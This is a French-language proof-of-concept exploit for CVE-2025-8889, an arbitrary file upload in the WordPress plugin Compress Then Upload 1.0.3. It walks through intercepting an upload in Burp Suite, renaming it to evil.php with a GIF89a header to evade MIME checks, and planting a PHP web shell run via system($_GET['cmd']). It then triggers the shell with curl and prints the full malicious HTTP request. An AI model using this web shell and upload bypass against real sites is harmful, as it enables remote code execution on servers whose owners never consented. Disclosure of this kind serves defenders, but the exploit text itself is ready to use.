
Exploit de preuve de concept pour CVE-2025-8889 : téléchargement arbitraire de fichier menant à une exécution de code à distance (RCE) dans le plugin WordPress Compress Then Upload version 1.0.3. Inclut un PoC étape par étape utilisant Burp Suite pour contourner la validation MIME et exécuter du code PHP.
Date : 2025-07-23
Auteur de l'exploit : Muhammed Çelik
Page d'accueil du fournisseur : https://wordpress.com/plugins/compress-then-upload
Lien du logiciel : https://downloads.wordpress.org/plugin/compress-then-upload.latest-stable.zip
Version : 1.0.3
Testé sur : Debian, WordPress 6.8.1, Apache 2.4.62, PHP 8.2.28
CVE : CVE-2025-8889
Le plugin WordPress « Compress Then Upload Images » ne valide pas correctement les extensions de fichier et les types MIME lors du téléversement d’images via son interface de téléversement multimédia. Bien que des validations côté client existent, elles peuvent être contournées en interceptant et en modifiant la requête de téléversement.
Un utilisateur authentifié disposant des droits de téléversement multimédia (rôle Auteur ou supérieur) peut exploiter cette vulnérabilité en :
Étape 1 : Préparer un fichier image standard
Créez un fichier image standard, par exemple regular.jpg (tout fichier JPG valide).
Étape 2 : Téléverser l’image standard via le panneau d’administration WordPress
regular.jpg normalement.Étape 3 : Intercepter et modifier la requête de téléversement avec Burp Suite
filename="regular.jpg" par filename="evil.php"GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
Note : Le `GIF89a;` imite un en-tête GIF valide pour contourner les faibles validations d’image.
Conservez le `Content-Type` à `image/jpeg`.
Transmettez la requête modifiée au serveur.
**Étape 4 : Déclencher le shell web téléversé**
Si le téléversement réussit, le fichier PHP sera enregistré dans le répertoire `uploads`, par exemple :
http://target-site.com/wp-content/uploads/2025/07/evil.php
Accédez-y via le navigateur ou `curl` :
curl "http://target-site.com/wp-content/uploads/2025/07/evil.php?cmd=id"
## Exemple de requête de téléversement malveillant (Burp Suite)
POST /index.php?rest_route=/wpctu-api/v1/upload HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
...
Content-Disposition: form-data; name="file"; filename="evil.php"
Content-Type: image/jpeg
GIF89a;
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
?>